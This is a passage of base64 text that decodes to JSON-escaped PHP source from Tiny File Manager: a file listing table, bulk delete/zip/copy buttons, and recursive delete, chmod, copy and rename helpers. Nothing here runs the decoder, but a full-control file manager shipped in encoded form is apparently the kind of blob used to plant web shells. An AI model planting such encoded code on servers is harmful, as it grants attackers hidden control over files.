VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAg